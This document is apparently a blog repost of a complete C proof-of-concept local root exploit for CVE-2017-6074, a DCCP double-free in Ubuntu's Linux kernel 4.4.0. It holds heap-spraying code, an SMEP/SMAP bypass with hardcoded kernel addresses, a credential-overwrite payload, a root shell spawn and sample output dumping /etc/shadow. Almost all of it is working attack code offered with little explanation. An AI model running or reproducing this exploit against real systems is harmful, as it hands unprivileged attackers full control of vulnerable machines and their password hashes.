Linux Kernel 4.4.0 (Ubuntu) ( Local & Pirivlege Escalation )

Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471//// A proof-of-concept local root exploit for CVE-2017-6074.// Includes a semireliable SMAP/SMEP bypass.// Tested on 4.4.0-62-generic #83-Ubuntu kernel.// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074//// Usage:// $ gcc poc.c -o pwn// $ ./pwn// [.] namespace sandbox setup successfully// [.] disabling SMEP & SMAP// [.] scheduling 0xffffffff81064550(0x406e0)// [.] waiting for the timer to execute// [.] done// [.] SMEP & SMAP should be off now// [.] getting root// [.] executing 0x402043// [.] done// [.] should be root now// [.] checking if we got root// [+] got r00t ^_^// [!] don't kill the exploit binary, the kernel will crash// # cat /etc/shadow// ...// daemon:*:17149:0:99999:7:::// bin:*:17149:0:99999:7:::// sys:*:17149:0:99999:7:::// sync:*:17149:0:99999:7:::// games:*:17149:0:99999:7:::// ...//// Andrey Konovalov <andreyknvl@gmail.com>#define _GNU_SOURCE#include <errno.h>#include <fcntl.h>#include <stdarg.h>#include <stdbool.h>#include <stddef.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sched.h>#include <sys/socket.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/wait.h>#include <arpa/inet.h>#include <linux/if_packet.h>#include <netinet/if_ether.h>#define SMEP_SMAP_BYPASS 1// Needed for local root.#define COMMIT_CREDS 0xffffffff810a2840L#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L#define SHINFO_OFFSET 1728// Needed for SMEP_SMAP_BYPASS.#define NATIVE_WRITE_CR4 0xffffffff81064550ul#define CR4_DESIRED_VALUE 0x406e0ul#define TIMER_OFFSET (728 + 48 + 104)#define KMALLOC_PAD 128#define KMALLOC_WARM 32#define CATCH_FIRST 6#define CATCH_AGAIN 16#define CATCH_AGAIN_SMALL 64// Port is incremented on each use.static int port = 11000;void debug(const char *msg) {/* char buffer[32]; snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg); system(buffer);*/}// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long};struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];};struct ubuf_info ui;void init_skb_buffer(char* buffer, void *func) { memset(&buffer[0], 0, 2048); struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET]; ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = (unsigned long)func;}struct timer_list { void *next; void *prev; unsigned long expires; void (*function)(unsigned long); unsigned long data; unsigned int flags; int slack;};void init_timer_buffer(char* buffer, void *func, unsigned long arg) { memset(&buffer[0], 0, 2048); struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = func; timer->data = arg; timer->flags = 1; timer->slack = -1;}// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *struct dccp_handle { struct sockaddr_in6 sa; int s1; int s2;};void dccp_init(struct dccp_handle *handle, int port) { handle->sa.sin6_family = AF_INET6; handle->sa.sin6_port = htons(port); inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); handle->sa.sin6_flowinfo = 0; handle->sa.sin6_scope_id = 0; handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("bind()"); exit(EXIT_FAILURE); } rv = listen(handle->s1, 0x9); if (rv != 0) { perror("listen()"); exit(EXIT_FAILURE); } int optval = 8; rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, sizeof(optval)); if (rv != 0) { perror("setsockopt(IPV6_RECVPKTINFO)"); exit(EXIT_FAILURE); } handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); }}void dccp_kmalloc_kfree(struct dccp_handle *handle) { int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("connect(SOCK_DCCP)"); exit(EXIT_FAILURE); }}void dccp_kfree_again(struct dccp_handle *handle) { int rv = shutdown(handle->s1, SHUT_RDWR); if (rv != 0) { perror("shutdown(SOCK_DCCP)"); exit(EXIT_FAILURE); }}void dccp_destroy(struct dccp_handle *handle) { close(handle->s1); close(handle->s2);}// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *struct udp_fifo_handle { int fds[2];};void udp_fifo_init(struct udp_fifo_handle* handle) { int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); }}void udp_fifo_destroy(struct udp_fifo_handle* handle) { close(handle->fds[0]); close(handle->fds[1]);}void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) { int rv = send(handle->fds[0], buffer, 1536, 0); if (rv != 1536) { perror("send()"); exit(EXIT_FAILURE); }}void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) { char buffer[128]; int rv = send(handle->fds[0], &buffer[0], 128, 0); if (rv != 128) { perror("send()"); exit(EXIT_FAILURE); }}void udp_fifo_kfree(struct udp_fifo_handle* handle) { char buffer[2048]; int rv = recv(handle->fds[1], &buffer[0], 1536, 0); if (rv != 1536) { perror("recv()"); exit(EXIT_FAILURE); }}int timer_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { perror("socket(SOCK_DGRAM)"); exit(EXIT_FAILURE); } return s;}#define CONF_RING_FRAMES 1void timer_schedule(int handle, int timeout) { int optval = TPACKET_V3; int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval)); if (rv != 0) { perror("setsockopt(PACKET_VERSION)"); exit(EXIT_FAILURE); } struct tpacket_req3 tp; memset(&tp, 0, sizeof(tp)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; tp.tp_retire_blk_tov = timeout; rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp)); if (rv != 0) { perror("setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); }}void socket_sendmmsg(int sock, char *buffer) { struct mmsghdr msg[1]; msg[0].msg_hdr.msg_iovlen = 0; // Buffer to kmalloc. msg[0].msg_hdr.msg_control = &buffer[0]; msg[0].msg_hdr.msg_controllen = 2048; // Make sendmmsg exit easy with EINVAL. msg[0].msg_hdr.msg_name = "root"; msg[0].msg_hdr.msg_namelen = 1; int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); if (rv == -1 && errno != EINVAL) { perror("[-] sendmmsg()"); exit(EXIT_FAILURE); }}void sendmmsg_kmalloc_kfree(int port, char *buffer) { int sock[2]; int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } socket_sendmmsg(sock[0], buffer); close(sock[0]);}// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *void dccp_connect_pad(struct dccp_handle *handle, int port) { handle->sa.sin6_family = AF_INET6; handle->sa.sin6_port = htons(port); inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); handle->sa.sin6_flowinfo = 0; handle->sa.sin6_scope_id = 0; handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("bind()"); exit(EXIT_FAILURE); } rv = listen(handle->s1, 0x9); if (rv != 0) { perror("listen()"); exit(EXIT_FAILURE); } handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); if (handle->s1 == -1) { perror("socket(SOCK_DCCP)"); exit(EXIT_FAILURE); } rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); if (rv != 0) { perror("connect(SOCK_DCCP)"); exit(EXIT_FAILURE); }}void dccp_kmalloc_pad() { int i; struct dccp_handle handle; for (i = 0; i < 4; i++) { dccp_connect_pad(&handle, port++); }}void timer_kmalloc_pad() { int i; for (i = 0; i < 4; i++) { socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); }}void udp_kmalloc_pad() { int i, j; char dummy[2048]; struct udp_fifo_handle uh[16]; for (i = 0; i < KMALLOC_PAD / 16; i++) { udp_fifo_init(&uh[i]); for (j = 0; j < 16; j++) udp_fifo_kmalloc(&uh[i], &dummy[0]); }}void kmalloc_pad() { debug("dccp kmalloc pad"); dccp_kmalloc_pad(); debug("timer kmalloc pad"); timer_kmalloc_pad(); debug("udp kmalloc pad"); udp_kmalloc_pad();}void udp_kmalloc_warm() { int i, j; char dummy[2048]; struct udp_fifo_handle uh[16]; for (i = 0; i < KMALLOC_WARM / 16; i++) { udp_fifo_init(&uh[i]); for (j = 0; j < 16; j++) udp_fifo_kmalloc(&uh[i], &dummy[0]); } for (i = 0; i < KMALLOC_WARM / 16; i++) { for (j = 0; j < 16; j++) udp_fifo_kfree(&uh[i]); }}void kmalloc_warm() { udp_kmalloc_warm();}// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *// Executes func(arg) from interrupt context multiple times.void kernel_exec_irq(void *func, unsigned long arg) { int i; struct dccp_handle dh; struct udp_fifo_handle uh1, uh2, uh3, uh4; char dummy[2048]; char buffer[2048]; printf("[.] scheduling %p(%p)\n", func, (void *)arg); memset(&dummy[0], 0xc3, 2048); init_timer_buffer(&buffer[0], func, arg); udp_fifo_init(&uh1); udp_fifo_init(&uh2); udp_fifo_init(&uh3); udp_fifo_init(&uh4); debug("kmalloc pad"); kmalloc_pad(); debug("kmalloc warm"); kmalloc_warm(); debug("dccp init"); dccp_init(&dh, port++); debug("dccp kmalloc kfree"); dccp_kmalloc_kfree(&dh); debug("catch 1"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh1, &dummy[0]); debug("dccp kfree again"); dccp_kfree_again(&dh); debug("catch 2"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh2, &dummy[0]); int timers[CATCH_FIRST]; debug("catch 1 -> timer"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh1); timers[i] = timer_kmalloc(); } debug("catch 1 small"); for (i = 0; i < CATCH_AGAIN_SMALL; i++) udp_fifo_kmalloc_small(&uh4); debug("schedule timers"); for (i = 0; i < CATCH_FIRST; i++) timer_schedule(timers[i], 500); debug("catch 2 -> overwrite timers"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh2); udp_fifo_kmalloc(&uh3, &buffer[0]); } debug("catch 2 small"); for (i = 0; i < CATCH_AGAIN_SMALL; i++) udp_fifo_kmalloc_small(&uh4); printf("[.] waiting for the timer to execute\n"); debug("wait"); sleep(1); printf("[.] done\n");}void disable_smep_smap() { printf("[.] disabling SMEP & SMAP\n"); kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE); printf("[.] SMEP & SMAP should be off now\n");}// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *// Executes func() from process context.void kernel_exec(void *func) { int i; struct dccp_handle dh; struct udp_fifo_handle uh1, uh2, uh3; char dummy[2048]; char buffer[2048]; printf("[.] executing %p\n", func); memset(&dummy[0], 0, 2048); init_skb_buffer(&buffer[0], func); udp_fifo_init(&uh1); udp_fifo_init(&uh2); udp_fifo_init(&uh3); debug("kmalloc pad"); kmalloc_pad(); debug("kmalloc warm"); kmalloc_warm(); debug("dccp init"); dccp_init(&dh, port++); debug("dccp kmalloc kfree"); dccp_kmalloc_kfree(&dh); debug("catch 1"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh1, &dummy[0]); debug("dccp kfree again:"); dccp_kfree_again(&dh); debug("catch 2"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kmalloc(&uh2, &dummy[0]); debug("catch 1 -> overwrite"); for (i = 0; i < CATCH_FIRST; i++) { udp_fifo_kfree(&uh1); sendmmsg_kmalloc_kfree(port++, &buffer[0]); } debug("catch 2 -> free & trigger"); for (i = 0; i < CATCH_FIRST; i++) udp_fifo_kfree(&uh2); debug("catch 1 & 2"); for (i = 0; i < CATCH_AGAIN; i++) udp_fifo_kmalloc(&uh3, &dummy[0]); printf("[.] done\n");}typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;void get_root_payload(void) { commit_creds(prepare_kernel_cred(0));}void get_root() { printf("[.] getting root\n"); kernel_exec(&get_root_payload); printf("[.] should be root now\n");}// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *void exec_shell() { char *shell = "/bin/bash"; char *args[] = {shell, "-i", NULL}; execve(shell, args, NULL);}void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { perror("fork()"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); }}bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true;}void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); printf("[!] don't kill the exploit binary, the kernel will crash\n"); return; } printf("[+] got r00t ^_^\n"); printf("[!] don't kill the exploit binary, the kernel will crash\n"); // Fork and exec instead of just doing the exec to avoid freeing // skbuffs and prevent crashes due to a allocator corruption. fork_shell();}static bool write_file(const char* file, const char* what, ...){ char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true;}void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } printf("[.] namespace sandbox setup successfully\n");}int main() { setup_sandbox();#if SMEP_SMAP_BYPASS disable_smep_smap();#endif get_root(); check_root(); while (true) { sleep(100); } return 0;}
Linux Kernel 4.4.0 (Ubuntu) ( Local & Pirivlege Escalation )
Reviewed by Unknown
on
12:26 PM
Rating:
No comments: